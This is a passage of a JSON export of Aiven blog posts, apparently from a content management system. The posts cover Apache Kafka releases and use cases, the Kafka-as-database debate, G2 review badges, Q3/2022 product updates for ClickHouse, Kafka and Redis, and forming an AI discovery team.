Kafka side with the removal of the need to use Zookeeper directly.\n\n* [[KAFKA-4060]](https://issues.apache.org/jira/browse/KAFKA-4060) - Remove ZkClient dependency in Kafka Streams\n\nIf you're interested in using the  Kafka Streams functionality with [Aiven for Apache Kafka](/kafka) please [contact](mailto:support@aiven.io) us and we'll get you set up with our beta program for enabling it.\n\n### Try the new Aiven for Apache Kafka 0.10.2 for free\n\nRemember that trying Aiven is free: you will receive US$10 worth of free credits at sign-up which you can use to try any of our service plans. The offer works for all of our services: PostgreSQL, Redis, Grafana, OpenSearch and Apache Kafka!\n\nGo to [aiven.io](https://aiven.io/) to get started!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2017-04-20T14:35:00.000Z","seo":{"metaDescription":"Aiven for Apache Kafka® 0.10.2 now available","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for Apache Kafka® 0.10.2 now available"},"slug":{"_type":"slug","current":"/blog/aiven-kafka-0102-available"},"subtitle":"Aiven for Apache Kafka® 0.10.2 now available","title":"Aiven for Apache Kafka® 0.10.2 now available"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"ZIhwh1ZhFnaMv3ZBSp0tp","_rev":"Y6NNh6Ue45iOdNdcwAKpdz","_type":"post","_updatedAt":"2024-07-05T09:00:20Z","authors":[{"_key":"4nf1QwJnNR1cufhRrTPLU","_ref":"4nf1QwJnNR1cufhRrTPLU","_type":"reference"}],"body":"Gaming and gambling operator [Paf](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-paf) moved from a company operating mechanical slot machines into an operator of hybrid gaming infrastructure that had to run also in offline premises.\n\n[OVO Energy](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-ovo) uses Aiven for Apache Kafka to tackle the climate crisis by giving end users the means to take control of their energy usage. Paired up with e.g. OpenSearch, PostgreSQL, Redis and Grafana, Kafka bridges the gap between data collection and analytics.\n\n[Alef Education](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-alef-education) runs a major learning platform with Aiven for Apache Kafka and Grafana. Learners do their tasks online, and Kafka passes the information to Grafana for analytics.\n\n[GoTo Financial](https://aiven.io/case-studies/goto-financial-goes-far-with-aiven) provides payment and other financial services for the enormous Gojek ecosystem via Aiven for Apache Kafka.\n\n[Mirakl](https://aiven.io/case-studies/mirakl-goes-cloud-native-with-aiven) went from providing a separate environment for each of their online marketplace customers to a microservice architecture with Aiven for Apache Kafka.\n\n[JobCloud](https://aiven.io/case-studies/building-event-driven-architecture-with-aiven) integrated Aiven for Apache Kafka into their legacy systems and now runs Switzerland's largest job board with it. The new setup is modern, and very extensible and scalable.\n\nIn retail, [Norauto](https://aiven.io/case-studies/norauto-developers-spin-up-databases-faster-than-ever-with-aiven) uses Kafka to synchronise data between PostgreSQL, MySQL, OpenSearch and Redis to speed up development and free the database management bottleneck.\n\nAnd in the fully online world, [NetSpyGlass](https://aiven.io/case-studies/aiven-cloud-helps-netspyglass) modernised their on-prem, self-managed network monitoring automation with Aiven's managed [Apache Kafka](https://aiven.io/docs/products/kafka/concepts) and expanded the range of their services. The new solution empowered their engineers to develop better and faster ways to provision networks.\n\nFind out more: [What is Apache Kafka?](https://aiven.io/blog/what-is-apache-kafka)\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-7ae8ed56761bc36cfb6d47036f47c61cf29b5d37-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-20T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Apache Kafka is a great platform that can meet a great variety of use cases. Find out how Aiven's customers are using it to drive results and solve complexity.","metaImage":{"alt":"","asset":{"_ref":"image-7ae8ed56761bc36cfb6d47036f47c61cf29b5d37-1567x844-png","_type":"reference"}},"metaTitle":"Use cases for Apache Kafka | Find out more | Aiven"},"slug":{"_type":"slug","current":"/blog/use-cases-for-apache-kafka"},"subtitle":"Apache Kafka is a great platform that can meet a great variety of use cases. Find out how Aiven's customers are using it to drive results and solve complexity.","title":"Use cases for Apache Kafka"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"3Xe7P8WIqPY900ZHpuDHQC","_rev":"ejVwHgKe5k9eDWbchuHUYv","_type":"post","_updatedAt":"2024-07-11T09:04:34Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"It’s stormy times on the internet, and the waters are seething. The rolling waves strike hard against the shores of [Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka\"), leaving behind arguments for and against this Great Question: Is It A Database?\n\nHere’s a handy tl;dr for this article: __Yes and no. It depends.__\n\nIf you keep your eyes on Apache Kafka’s logical niche in data architecture, and kind of squint, then yes--you could call it a database. It takes in data and gives out data, after all. It contains information about events that have occurred (insofar as it’s configured to of course). You may argue that having all that data in there is good enough reason to be using it as a database. \n\nBut does that mean Kafka is a database?\n\nIn the main, we’d have to come down on the side of No.\n## What do relational databases do well?\nThe Kafka vs. databases debate largely boils down to events vs. states.\n\nA relational database stores data as states. For example, a PostgreSQL database will tell you that your central warehouse has 41 chasing hammers that you can deliver to retail outlets. In other words, it tells you the state of affairs right now.\n\nIn contrast, Kafka will tell you that you ordered 100 birch-handled chasing hammers in July; 8 were delivered to Outlet A; 19 were delivered to Outlet B; 48 were delivered to outlet C; 20 more hammers were ordered (Outlet C seems to be very good at selling hammers, or they just lost a shipment), and 14 were delivered to Outlet D.\n\nIf at this point you need to ask “How many birch-handled chasing hammers are in the central warehouse?”, the relational database has your answer ready. Kafka really has to think about it. And the longer the chain of events involving chasing hammers in the central warehouse, the longer it thinks. So Kafka isn’t well-suited for occasional queries.\n\nTo take a much more common use case, consider holding on to inventory data for delivery to an online shop, so that consumers can purchase their birch-handled chasing hammers directly. In normal circumstances, again, both Kafka and relational databases perform equally well. \n\nBut what if there’s a problem and the data warehouse system has to be rebooted? Relational databases are just restored from a backup in seconds. To restore Kafka, you have to run it through all the same hoops of goods purchased, sent, ordered and received, just to reach the same state it was in before it went away.\n## What does Apache Kafka do well?\nKafka works on a completely different principle than a relational database. The fact that it stores data is incidental; what it actually does is make a note of events as they unfold. \n\nWell then, you say, if all Kafka can do is publish to streams and consume them, what’s it good for?\n\nBecause Kafka is all about events, it makes an excellent message bus component for a data pipeline. Kafka is definitely at its best as short-term storage from which other systems (including long-term storage databases) can retrieve data in a robust, ACID-compliant way. It eliminates data silos by allowing any interested component to find and consume data.\n\nAnd note that Kafka can step up to every letter of that acronym:\n- __A__tomicity: data in Kafka is either written in its entirety or it’s not written, and if a consumer fails, it can just go back and re-read the partition. \n- __C__onsistency: Kafka as a whole eats anything, but constraints can be mimicked by using partitions. In any case, this is more a property of the downstream application than it is of the data store itself.\n- __I__solation: data is absolutely, definitely serialised in Kafka, since events are always ordered by time and consumers will always read them in the same order. \n- __D__urability: Kafka writes data to disk and replicates it (to multiple brokers), which is precisely what any database worth its salt does. If you want backups, well, backups aren’t part of a database anyway, but it’s certainly possible to back up all the messages you write to Kafka.\n\nThe fact that one can even think of Kafka as being able to replace a database shows that Kafka really is versatile and multifunctional. Kafka can easily process enormous amounts of data, which comes in handy for recording transactions (such as purchases of chasing hammers!), compiling metrics, and handling streaming data of any kind. \n\nUsing Kafka as long-term data storage doesn’t take full advantage of its strengths and ignores its weak recovery arrangements. The recovery aspects are weak specifically because Kafka was never intended to store data, only to deliver it. It’s a data store only in the same sense that a pizza courier is a cooling rack.\n\n![Kafka-infograph](//cdn.sanity.io/images/sczeoy4w/production/3c23100934f9c82fbad055fb5a1443e65c8ba08d-2708x1771.png \"Apache Kafka in the data infrastructure\")\n\nAs you can see from the image, the most productive way to use Kafka is between systems. This completely divorces systems sending in data from systems picking it up. You don’t need custom integrations between every building block in your architecture, just plug Kafka into the middle and it takes care of the data for the short time it needs to persist before being read by a receiving component. The applications for this approach are wide and varied.\n## Wrapping up\nKafka is great. At Aiven, we all think so - after all, it's [part of our product offering](https://aiven.io/kafka \"Aiven for Apache Kafka product page\"). Kafka can do plenty of cool stuff. But in practice, to keep your data safe and your DBadmins happy, pair it with [some](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\") [other](https://aiven.io/mysql \"Aiven for MySQL product page\") [great](https://aiven.io/m3 \"Aiven for M3 product page\") open source data store.\n\nFor further reading, you might enjoy [An introduction to Apache Kafka](https://aiven.io/blog/what-is-apache-kafka \"Blog post: An introduction to Apache Kafka\") to refresh your memory of what this Kafka thing even is.\n\n## Next steps\nYour next step could be to check out [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka\") and or essential [Apache Kafka® terms](https://aiven.io/docs/products/kafka/concepts).\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [Apache Kafka®: Confluent vs self-managed vs Aiven](https://aiven.io/blog/confluent-kafka-vs-apache-kafka-vs-aiven)","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b6e55ab5a11856ecc65674d49507c8ee5daf8064-1567x844-png","_type":"reference"}},"publishedAt":"2021-06-10T00:00:00.000Z","seo":{"metaDescription":"Is Apache Kafka® a database? Can I throw out my Postgres and use Kafka instead? Is Kafka the new Swiss Army Knife of data? Find out what the debate is about.","metaImage":{"alt":"","asset":{"_ref":"image-b6e55ab5a11856ecc65674d49507c8ee5daf8064-1567x844-png","_type":"reference"}},"metaTitle":"Apache Kafka® and the great database debate"},"slug":{"_type":"slug","current":"/blog/apache-kafka-and-the-great-database-debate"},"subtitle":"Is Apache Kafka® a database? Can I throw out my Postgres and use Kafka instead? Is Kafka the new Swiss Army Knife of data? Find out what the debate is about.","title":"Apache Kafka® and the great database debate"} {"__i18n_lang":"en","_createdAt":"2023-09-29T11:20:20Z","_id":"cd17f23b-0063-4154-bf09-fa4a16626d4a","_rev":"sEwq5NBiPauorOxrhi8MlQ","_type":"post","_updatedAt":"2024-11-19T06:02:49Z","authors":[{"_key":"69a1196c45ee","_ref":"3d759db2-54e5-4c4a-94ec-f52be97578dc","_type":"reference"}],"body":"In today’s fast-paced and dynamic business environment, agility and innovation are essential to staying ahead. At Aiven, we understand the challenges faced by businesses when managing open source data technologies. Here, we explore how we take that burden away so customers can focus on what they do best — innovating on behalf of their customers and delivering exceptional products.\n\n![Aiven Leader G2 2023 Fall](//cdn.sanity.io/images/sczeoy4w/production/9ff58ce5d45f281d2fa524106e67314af998eed2-1200x628.png)\n\n### Operational excellence delivers reassurance\n\nIn my role as Chief Marketing Officer, I’m fortunate that I get to talk to lots of customers. It’s clear from those conversations that one of the things they value most about Aiven is the peace of mind we give them. They trust us to take on the management of their open source data technologies, in all its complexity, which enables them to focus on the creation of exceptional applications that meet their own customers’ needs. They also recognise that Aiven’s operational excellence and industry-leading technical expertise translates into unparalleled reliability, performance and security for their data infrastructure — all while saving them time and money.\n\nThat’s what our customers tell me — and it’s what they are telling each other. Earlier this month, positive customer feedback helped us earn a batch of badges in the Fall report from G2 – the peer-to-peer software and technology review website — including the Enterprise High Performer badge. This highlights the growing number of enterprise organizations with 1,000+ employees, such as [Priceline](https://aiven.io/case-studies/best-deal-for-priceline) and [Decathlon](https://aiven.io/press/decathlon-selects-to-the-cloud-through-open-source-dbaas-and-cloud-native), working with Aiven to harness the power of open source technologies. \n\n\u003e “Reliable and Responsive Kafka Hosting Service! …. They have been a reliable and responsive partner for our organization's event-driven architecture …. Their responsiveness to customer support requests is remarkable .... With their deep expertise in Kafka, it is reassuring to have their knowledgeable professionals available to assist us whenever needed.” Carlos A, G2 User\n\n### Ownership and control for increased agility\n\nHaving the flexibility to adapt their approach to IT is always important to business, but particularly during times of economic instability. We know that our customers appreciate the choice and control we offer because it gives their business greater agility. They can choose their preferred cloud platform and their preferred region for running Aiven services (from all the major public platforms and 100+ regions we offer). They can scale compute and storage, up and down, with a simple push of a button. And they can control everything from one platform, which gives them standardized visualization, governance and management for all their data infrastructure services.\n\n\u003e “Everything about Aiven has been great to power our company's analytics and has truly been a set-it-and-forget-it piece of our infrastructure. Aiven has been extremely responsive with their support and has been great at working with us to fit to our custom needs …. It is flexible with the cloud providers allowed and is very cost effective,” Kevin X, G2 User\n\n### Ease of use unlocks innovation\n\nOur goal is to help organizations solve problems more easily, foster innovation and create exceptional applications, and to help organizations achieve these goals by unlocking the potential of powerful open-source technologies. The Aiven platform is equipped with a comprehensive toolkit that customers can depend upon for seamless data streaming, storage and analysis, and provides a fully featured, fully managed data infrastructure that can be set up in under 10 minutes.\n\nOur platform’s exceptional user-friendliness is highly valued by our customers, as it provides them with the freedom to drive innovation. That’s why we ranked first out of six products in G2’s implementation index, receiving both the Most Implementable and Easiest Setup badges. \n\n\u003e “Aiven makes light work of an otherwise rather complex solution. I've had to run Kafka clusters in the past and had to dedicate specialist teams and resources just to keep the lights on. In contrast, I set up my cluster in Aiven when I first joined and I haven't had to touch it – it just works! Saves me countless hours and resources!” Brian W, G2 User\n\n### Building better data infrastructure together\n\nAs the leading open source data platform, as chosen by businesses worldwide, we help customers of all sizes and industries to confidently create, utilize and manage data applications. We’re committed to continuously improving our offerings but recognize we need customer input to align our innovation with market expectations. That’s why we encourage users to provide feedback and insights. \n\nIf you would like to contribute to that mission, please visit Aiven Ideas to view our public roadmap and give feedback on features (https://ideas.aiven.io). Alternatively, you can provide feedback via the peer-to-peer review website G2. (https://www.g2.com/sellers/aiven)\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Get started for free\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e\n\n","categories":[{"_key":"944f3dea3e06","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5f088243c50d","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"468afa7b5eb6","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"4TqpVisLv0iRqpMCA1uvHK","_type":"reference"},"previewImage":{"_type":"mainImage","asset":{"_ref":"image-5af9dbbc2fa9bead3fda6aff2bd70fe703b80352-1200x628-png","_type":"reference"}}},"mainImage":{"_type":"mainImage","asset":{"_ref":"image-5af9dbbc2fa9bead3fda6aff2bd70fe703b80352-1200x628-png","_type":"reference"}},"publishedAt":"2023-09-29T11:10:00.000Z","related":[{"_key":"40533a24eb25","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"8825ecaf01f0","_ref":"06af38ab-add6-4fb5-b005-2c4af2118f25","_type":"reference"},{"_key":"d6e6bf53d61e","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven empowers businesses with managed open source data tech, letting them focus on innovation. Learn how we lighten the load for our clients. Get informed!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5af9dbbc2fa9bead3fda6aff2bd70fe703b80352-1200x628-png","_type":"reference"}},"metaTitle":"Customers Affirm Value of Aiven Platform through G2 badges "},"slug":{"_type":"slug","current":"/blog/customers-affirm-value-of-aiven-platform-through-g2-badges"},"subtitle":"Aiven Named Leader in Event Stream Processing","title":"Customers Affirm Value of Aiven Platform through G2 badges "} {"__i18n_lang":"en","_createdAt":"2022-10-10T10:26:30Z","_id":"2cbef13d-ec89-484f-8d17-7195c790286d","_rev":"T130WEs22RB6SoEkOBP2WW","_type":"post","_updatedAt":"2024-11-19T06:11:27Z","authors":[{"_key":"d7872d95538f","_ref":"23npxnYfL41QURg8oY8Lat","_type":"reference"}],"body":"## ClickHouse beta\nMid-September saw the [launch of Aiven for ClickHouse](https://aiven.io/blog/aiven-for-clickhouse-beta-now-available) in its beta incarnation. \n\nClickHouse® is a fast cloud data warehouse that’s fully open source. It allows you to generate analytical data reports in real time using advanced SQL queries. ClickHouse is built to process hundreds of millions of rows and tens of gigabytes of data per server per second.\n\nAiven for ClickHouse is a fully managed service that makes it a breeze to deploy a new production-grade, high-performance data warehouse and enjoy the advanced capabilities familiar from other Aiven services - effortless scaling, easy database forking and cloud/region migration without downtime. \n\nAiven for ClickHouse also has built-in integrations for our other products, such as Aiven for Apache Kafka®, Aiven for PostgreSQL®, and Aiven for Grafana®. This makes it easy for you to create analytics pipelines using both streaming data sources and the data in your operational databases, and to visualize the analytics results.\n\nTo find out more about what ClickHouse is and what you can use it for, head on over to our [What is ClickHouse](https://aiven.io/blog/what-is-clickhouse) article!\n\n## Apache Kafka 3.2\nWe added support for Apache Kafka 3.2 to the latest version of Aiven for Apache Kafka, focusing on implementing three key improvements:\n\n- Self-managed metadata based on KRaft\n- More robust disaster recovery\n- Easy listing of all available connectors\n\n### Self-managed metadata based on KRaft\nWith the implementation of [KIP-801](https://cwiki.apache.org/confluence/display/KAFKA/KIP-801%3A+Implement+an+Authorizer+that+stores+metadata+in+__cluster_metadata), Apache Kafka 3.2 is moving away from needing Apache Zookeeper instances when Kafka users want to use AclAuthorize. Aiven is following this development with eager interest!\n\n(Aiven for Apache Kafka already leverages our own [fully open-source authoriser](https://github.com/aiven/auth-for-apache-kafka) for Kafka ACLs which is already KRaft-ready.)\n\n### More robust disaster recovery\nThe addition of [KIP-704](https://cwiki.apache.org/confluence/display/KAFKA/KIP-704%3A+Send+a+hint+to+the+partition+leader+to+recover+the+partition) to Apache Kafka 3.2 minimizes potential data losses in data recovery. This applies to scenarios where the controller has allowed the use of the unclean leader election strategy, and the user has elected a replica in Apache Kafka that was not a part of the in-sync replica setup.\n\n### Easy listing of available connectors\nThe last notable addition to Aiven’s Apache Kafka service from our upgrade to Kafka 3.2 makes listing your available connectors in Apache Kafka Connect a lot easier. Specifically, with the implementation of [KIP-769](https://cwiki.apache.org/confluence/display/KAFKA/KIP-769%3A+Connect+APIs+to+list+all+connector+plugins+and+retrieve+their+configuration+definitions), developers no longer need to dig into the specifics of the Apache Kafka Connect runtime: Connector plugins are now discoverable via the REST API, and their configuration definitions can be easily retrieved. This makes building streaming data pipelines significantly faster.\n\n## How to get started with Aiven for Apache Kafka 3.2\nIf you haven’t upgraded to the latest service version, you can easily do so with a few clicks in the Aiven Console.\n\n\n::banner[Still looking for a managed data platform? Sign up for Aiven for Apache Kafka® and start streaming!]{ctaText=\"Click to start your free trial\" ctaLink=\"https://aiven.io\" title=\"Aiven for Apache Kafka® at your fingertips\"}\n\nTo find out more about upgrade paths and get answers to any questions, check out [the release notes for the project itself](https://archive.apache.org/dist/kafka/2.3.0/RELEASE_NOTES.html).\n\n## Redis 7\nAt the start of September, the [Aiven for Caching service](https://aiven.io/caching) upgraded to Redis 7. The most notable new features in Redis 7.0 include:\n\n- Enhanced scripting with Redis Functions\n- Improved access control management with ACLv2\n- The addition of almost 50 new commands \n\nAt the same time, a lot of effort has gone into making Redis even more performant and stable than before.\n\n### Enhanced scripting with Redis Functions\n\nRedis Functions brings a new solution for scripting in Redis, allowing users to load custom function libraries to Redis. Unlike earlier ephemeral scripts using the EVAL command, which left management of the scripts to the applications, Redis now manages functions as an integral part of the database and ensures their availability through data persistence and replication.\n\n### Improved access control management with ACLv2\n\nACLv2 adds two important new capabilities for access control lists, while maintaining compatibility with earlier versions:\nSupport for multiple sets of ACL rules - called selectors - that are evaluated independently.\nThe ability to set access type permissions to specific keys. This way you can exclusively limit the user to read-only, write-only, or read-write operations to a subset of the keys.\n\nNote that ACLv2 is not yet available in Aiven for Caching, but we are working on it and expect to release the functionality soon.\n\n### New commands\n\nRedis version 7.0 adds almost 50 new commands and options to support the evolution of Redis, and to extend its existing capabilities. Also support for new data types have been added. For more information, take a look at their [release notes](https://raw.githubusercontent.com/redis/redis/7.0/00-RELEASENOTES). \n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay current with our service updates, follow our [changelog](https://aiven.io/changelog). \n\nStill looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"27f157404ef3","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"},{"_key":"f30e07a3d316","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"89293017950a","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"},{"_key":"6f0413467822","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-c4eb1559793d39308add9717033e5f19aabc9c1b-3133x1688-png","_type":"reference"}},"publishedAt":"2022-10-31T12:07:00.000Z","seo":{"_type":"metaData","metaDescription":"In Q3/2022, Aiven has been very busy with new releases across several services. Stay up to date and catch up on our recent updates!\n \n \n","metaTitle":"Aiven's product updates in Q3/2022 – Stay informed!"},"slug":{"_type":"slug","current":"/blog/product-updates-in-q3-2022"},"subtitle":"The team at Aiven has been busy last quarter with new releases across several of our services. Starting from the announcement of our ClickHouse Beta being available, we have lots of good stuff here. Read on for details about what’s been going on last quarter!","title":"Product updates in Q3/2022"} {"__i18n_lang":"en","_createdAt":"2024-05-15T07:54:04Z","_id":"4a1632e3-6d7d-4a13-968b-c391a7574f99","_rev":"sEwq5NBiPauorOxrhiNiyr","_type":"post","_updatedAt":"2024-11-19T07:47:37Z","authors":[{"_key":"cd13c5fa772b","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"}],"body":"Artificial Intelligence (AI) is advancing rapidly. Much quicker than businesses can accommodate, which is leaving enterprises reeling. They’re struggling to keep up and take advantage because they’re an oil tanker in a speed boat race. But neglecting AI isn’t an option either. AI adoption is the future, which is why enterprises need to find a way to make it work in their organizations where existing structures and established ways of working have not been designed to act and react with the agility required. \n\n## A vision for value\n\nThe figures relating to the speed of AI development tell a staggering story when you dig into them.\n\nAccording to [GrandViewResearch](https://www.grandviewresearch.com/industry-analysis/artificial-intelligence-ai-market), the global AI market is worth almost $197 billion. That's an increase of around $60 billion since 2022. Indeed, the [global AI market size](https://www.hostinger.co.uk/tutorials/ai-statistics#:~:text=The%20Global%20AI%20Market%20Size,growing%20importance%20across%20all%20industries) is expected to grow 37% every year until 2030 with the [potential to contribute](https://www.pwc.com/gx/en/issues/data-and-analytics/publications/artificial-intelligence-study.html#:~:text=AI%20could%20contribute%20up%20to,come%20from%20consumption%2Dside%20effects) up to $15.7 trillion to the global economy by the end of the decade - more than the current output of China and India combined. Of this, $6.6 trillion is likely to come from increased productivity and just over $9 trillion from consumption-side effects.\n\nDriven by fear of losing out on this opportunity, businesses are tempted to ‘dive in’, with many speeding up time to market on AI initiatives that tend to focus on two distinct areas. One is to improve internal efficiency and the other to ascertain whether and where in their own products they can build or integrate AI capabilities. This to add value to their customers and differentiate from the competition. But hitting the ‘AI button’ and hoping for results is not a strategy. Businesses can’t successfully adopt AI without a clear vision for value and if decades of technology adoption has taught us anything, it’s that you need a plan. \n\n## The AI Tactical Discovery team\n\nIt’s why we believe that creating an AI Tactical Discovery team is the answer within an enterprise. A group of curated and trusted, domain technical experts for your organization. This team has the objective of using AI to solve an internally-facing process or challenges (tactical), and/or contribute to the value that an enterprise delivers to its customers (strategic). In doing so, the company will learn about AI, in a space that is close to its current value proposition and utilizes its unique datasets and domain expertise. This increases the likelihood of the learning being useful to the longer-term product strategy. \n\nThe first, and perhaps biggest, challenge for this team will be identifying the use-case and deciding whether this is something that should be built in-house or be bought. The former represents exactly the opportunity this team should be seeking in order to gain organizational knowledge while the latter involves leveraging capabilities in partner products. In reality, the likely outcome is that this team will chain together services already developed to solve a problem rather than build anything from scratch but, even so, this still delivers on acquisition of knowledge of the AI ecosystem. \n\nEmerging knowledge and expertise within the partner ecosystem around GenAI means there are now increasing options where a company scales if building an internal AI Tactical Discovery team is not feasible. These partners can help get a proof of concept (POC) up and running that can be used by your teams to expose them to knowledge of the technology. \n\nOf course, the prerequisite of creating the AI Tactical Discovery team is picking the right people. It may surprise many to hear that some of your best engineers may be skeptical about AI and have little or low interest in joining an effort around the simulation of human intelligence processes by machines. In this scenario, it is important to lean on your team’s interest and pick the engineers who are actually interested in this space. If you are a SaaS company, or have a SaaS arm, ensure you have an SRE, Cloud Architect, Data Scientist and someone from SecOps involved. These are the folks likely to keep the enterprise risk front and center as they work.\n\nYou’ll also need a mix of senior and junior folks in the team. What you want to avoid is a senior long-term architect, slowing or blocking the innovation, because “that’s not how we do it here”. This is an opportunity for the organization to gain new insights and skills and the hypothesis you are trying to prove through the effort of this AI Tactical Discovery team, is what is possible, not starting out with ideas about why things aren’t possible. \n\n## Nine steps to Tactical Discovery team success\n\nOnce your team is compiled, the next stage is how best it can go about its business, which can be broken down into nine steps: \n\n**1). Identify a use-case candidate** - Once identified, the Tactical Discovery team should develop a LLM or AI powered solution to that problem. The goal is to learn about AI and how models can be used in innovative ways with the assumption that usage and training will become increasingly cost effective over the next few years. \n\n**2). Stick to the task at hand** - While the company should be spending time in marketing to tune and alter the company vision to highlight any/all existing AI supporting capabilities, the Tactical Discovery team should not include a marketing resource. The goal is organizational learning not specifically product discovery. \n\n**3). Resist the product manager (PM) temptation** - At this stage, it’s wise not to involve a PM. This team is fuelled by the start-up, innovation culture where small failures are celebrated as opportunities to learn something new, iterate, and improve. They do not need to be burdened by the processes that come with a PM. \n**\n**4). Keep ‘em separated** - The AI Tactical Discovery team should be explicitly separate from any work in your SecOps team, who should be evaluating any and all AI capabilities arising in the tools the company is already using. However, the project targeting should be aware of the pipeline of AI capabilities being looked at so they don’t overlap. They should however ensure they are operating within the guidance and guardrails of SecOps to mitigate any potential data security issues.**\n\n**5). Embrace agility \u0026 expect change** - Change and innovation happen through execution. This is not to say that strategies and roadmaps aren't important. Every organization needs a North Star for AI adoption. However, expect to pivot and change as the market evolves. Aim for multiple, connected wins as you make the journey towards the North Star, rather than one grand reveal.\n\n**6). But put some parameters around** - Set a time limit of no more than three months to completion to encourage outcomes and set a benchmark for measurement against objectives.\n\n**7). Cut any admin burden** - The Tactical Discovery team needs to be empowered to spend what they need and get access to new tech not currently at the company. Reducing the administrative burden as they progress so the rest of the business can stay informed and aligned is a good idea, depending on your scale, resources and culture. \n\n**8). Get clarity to avoid the anti-patterns of AI value** - Your goal is to understand how this tech can work so that when/if you go to market with an AI powered capability, it is fit-for-purpose. You want to avoid the anti-pattern of just sticking a ChatGPT powered chatbot on or around your product and claiming to be AI powered. This false value will wear thin as the hype fades. Find real value for AI in your company and gain organizational knowledge, skills and muscle memory with AI close to where you currently add value.\n\n**9). Apply caution** - GenAI is early in its adoption cycle but already the path is littered with the scare stories of how it can go wrong. Keep your company and user privacy, regulatory and compliance needs front and center as you learn. \n\n## A radical path on your journey of discovery\n\nThe impact of taking such a radical path may be the only way for enterprises to keep pace with AI. This effort won’t be the silver bullet for your organization to “get AI”, but it’s a shot you have to take. The AI tools and capabilities available now are likely not to be the ones that you’ll use 18 months from now. \n\nOutcomes will come to the fore, and you need your organization to have some knowledge about what outcomes can and can’t be achieved with current AI, and continue to flex that learning muscle at Tactical Discovery scale, as AI tech advances. And it will.\n\n","categories":[{"_key":"3812a5a41c4f","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Blue background with white writing reading: \"Why every business needs an AI Tactical Discovery team\"","asset":{"_ref":"image-87dd33b055fb077bfa43abc8b4d913eba1671e19-1200x630-png","_type":"reference"}},"publishedAt":"2024-05-15T09:00:00.000Z","related":[{"_key":"e4cf36ffc9c5","_ref":"51b147a9-2d2f-4b72-a8c4-eb5bb6f99d5d","_type":"reference"},{"_key":"7c256e44e28a","_ref":"af003bf7-aba3-434b-ade1-570f947699e1","_type":"reference"},{"_key":"bde2467f1526","_ref":"3272b585-3fa5-45fd-b560-c578e6ccbb55","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Organizations must embrace AI to stay agile and competitive. Learn how to efficiently integrate it into your existing structure. Get informed with 